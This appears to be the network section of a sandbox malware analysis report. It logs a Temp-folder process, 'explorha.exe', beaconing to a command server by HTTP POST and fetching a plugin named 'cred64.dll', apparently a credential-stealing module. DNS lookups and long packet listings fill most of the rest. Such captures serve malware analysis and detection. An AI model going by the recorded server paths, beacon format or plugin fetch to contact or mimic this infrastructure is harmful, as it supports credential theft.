Apr 13, 2024 20:22:06.915080070 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.915117025 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.915118933 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.915138006 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.915153980 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.915179014 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.915190935 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.915200949 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.915226936 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.915244102 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.915263891 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.915281057 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.915302038 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.915321112 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.915338993 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.915354967 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.915375948 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.915397882 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.915412903 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:06.915427923 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:06.915468931 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.075119972 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:07.107912064 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:07.122097015 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:07.123435974 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:07.153471947 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:07.168970108 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:07.263607025 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.263673067 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.263715982 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.263752937 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.263796091 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.263807058 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.263807058 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.263832092 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.263870955 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.263892889 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.263912916 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.263950109 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.263964891 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.263988972 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.263993025 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.263993025 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264029026 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264054060 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264065981 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264105082 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264120102 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264142036 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264184952 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264194012 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264250040 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264286041 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264324903 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264338970 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264363050 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264403105 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264411926 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264441967 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264480114 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264492035 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264517069 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264556885 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264565945 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264595032 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264631987 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264647007 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264668941 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264707088 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264724016 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264745951 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264782906 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264797926 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264822006 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264858007 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264870882 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264894962 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264930010 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264969110 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.264985085 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264985085 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.264985085 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.265005112 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.265038967 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.265043020 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.265080929 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.265084028 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.265104055 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.265120029 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.265156984 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.265194893 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.265194893 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.265222073 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.278537989 CEST	58709	49750	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:07.325233936 CEST	49750	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:07.531507969 CEST	58709	49756	147.45.47.93	192.168.2.4
Apr 13, 2024 20:22:07.575220108 CEST	49756	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:22:07.607781887 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.607825041 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.607867002 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.607867002 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.607906103 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.607932091 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.607944965 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.607959986 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.607959986 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.607981920 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608001947 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608025074 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608036995 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608062029 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608082056 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608099937 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608119011 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608138084 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608158112 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608185053 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608192921 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608248949 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608284950 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608320951 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608321905 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608342886 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608360052 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608397961 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608412027 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608434916 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608472109 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608509064 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608525991 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608550072 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608587980 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608602047 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608627081 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608664989 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608681917 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608700991 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608716011 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608740091 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608760118 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608778954 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608793020 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608814001 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608828068 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608850956 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608869076 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608889103 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608926058 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608933926 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608933926 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.608963013 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.608999968 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609019041 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609044075 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609080076 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609117031 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609138012 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609155893 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609158039 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609177113 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609194040 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609215021 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609282017 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609293938 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609321117 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609344006 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609358072 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609373093 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609397888 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609412909 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609436035 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609452963 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609476089 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609498978 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609513998 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609520912 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609554052 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609570980 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609591007 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609606981 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609630108 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609646082 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609668016 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609688044 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609704971 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609724998 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609741926 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609761000 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609778881 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609801054 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609817028 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609829903 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609854937 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609884024 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609894991 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609909058 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609932899 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609946012 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.609971046 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.609989882 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610008955 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610027075 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610045910 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610065937 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610084057 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610102892 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610121012 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610141039 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610158920 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610173941 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610196114 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610212088 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610234022 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610249996 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610272884 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610287905 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610310078 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610323906 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610348940 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610361099 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610385895 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610409021 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610424042 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610461950 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610497952 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610498905 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610502958 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610517979 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610543966 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610565901 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610579967 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610605955 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610615969 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610645056 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610654116 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610666990 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610692978 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610713005 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610729933 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610752106 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610766888 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610786915 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610805035 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610827923 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610841036 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610857010 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610881090 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 13, 2024 20:22:07.610903978 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:22:07.610938072 CEST	49797	80	192.168.2.4	193.233.132.167

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 13, 2024 20:21:38.694634914 CEST	53471	53	192.168.2.4	1.1.1.1
Apr 13, 2024 20:21:38.849075079 CEST	53	53471	1.1.1.1	192.168.2.4
Apr 13, 2024 20:21:39.569686890 CEST	51899	53	192.168.2.4	1.1.1.1
Apr 13, 2024 20:21:39.724342108 CEST	53	51899	1.1.1.1	192.168.2.4
Apr 13, 2024 20:21:57.024121046 CEST	56831	53	192.168.2.4	1.1.1.1
Apr 13, 2024 20:21:57.180905104 CEST	53	56831	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 13, 2024 20:21:38.694634914 CEST	192.168.2.4	1.1.1.1	0x8da1	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Apr 13, 2024 20:21:39.569686890 CEST	192.168.2.4	1.1.1.1	0xd031	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
Apr 13, 2024 20:21:57.024121046 CEST	192.168.2.4	1.1.1.1	0x443a	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 13, 2024 20:21:38.849075079 CEST	1.1.1.1	192.168.2.4	0x8da1	No error (0)	ipinfo.io	34.117.186.192	A (IP address)	IN (0x0001)	false
Apr 13, 2024 20:21:39.724342108 CEST	1.1.1.1	192.168.2.4	0xd031	No error (0)	db-ip.com	172.67.75.166	A (IP address)	IN (0x0001)	false
Apr 13, 2024 20:21:39.724342108 CEST	1.1.1.1	192.168.2.4	0xd031	No error (0)	db-ip.com	104.26.5.15	A (IP address)	IN (0x0001)	false
Apr 13, 2024 20:21:39.724342108 CEST	1.1.1.1	192.168.2.4	0xd031	No error (0)	db-ip.com	104.26.4.15	A (IP address)	IN (0x0001)	false
Apr 13, 2024 20:21:57.180905104 CEST	1.1.1.1	192.168.2.4	0x443a	No error (0)	ipinfo.io	34.117.186.192	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

ipinfo.io

db-ip.com

193.233.132.56

193.233.132.167

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:05.168433905 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:05.517132044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:05.526530981 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:05.916433096 CEST	556	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 64 0d 0a 20 3c 63 3e 31 30 30 30 30 34 32 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 62 35 39 65 61 39 66 35 65 37 61 66 31 38 32 31 34 65 34 30 61 64 63 32 64 63 38 65 32 61 39 65 37 33 30 65 38 62 32 65 38 62 32 34 34 36 66 65 31 65 39 32 38 37 36 36 61 64 61 23 31 30 30 30 30 34 33 30 33 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 63 35 31 34 34 66 36 39 65 35 65 36 37 65 65 38 30 31 35 66 38 31 35 64 62 32 63 64 30 61 65 61 35 66 62 33 37 62 33 65 65 66 62 61 31 35 38 36 61 61 30 65 31 37 65 37 36 23 31 30 30 30 30 34 39 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 63 35 31 34 34 66 36 39 65 35 65 36 37 65 65 38 30 31 35 66 38 31 35 64 62 32 63 64 30 61 30 61 33 65 36 32 36 62 33 66 63 66 37 62 36 35 38 37 66 61 30 65 31 37 65 37 36 23 31 30 30 30 30 35 31 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 63 35 31 34 34 66 36 39 65 35 65 36 37 65 65 38 30 31 35 66 38 31 35 64 62 32 63 64 30 61 30 61 33 65 36 32 36 62 33 65 66 66 62 62 64 34 65 36 34 65 33 61 61 36 33 36 62 37 37 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 16d <c>1000042001+++e312d3611ef49fa1f45b59ea9f5e7af18214e40adc2dc8e2a9e730e8b2e8b2446fe1e928766ada#1000043031+++aa0ed36554e19fbffc5144f69e5e67ee8015f815db2cd0aea5fb37b3eefba1586aa0e17e76#1000049001+++aa0ed36554e19fbffc5144f69e5e67ee8015f815db2cd0a0a3e626b3fcf7b6587fa0e17e76#1000051001+++aa0ed36554e19fbffc5144f69e5e67ee8015f815db2cd0a0a3e626b3effbbd4e64e3aa636b77#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:05.168565035 CEST	69	OUT	GET /Pneh2sXQk0/Plugins/cred64.dll HTTP/1.1 Host: 193.233.132.56
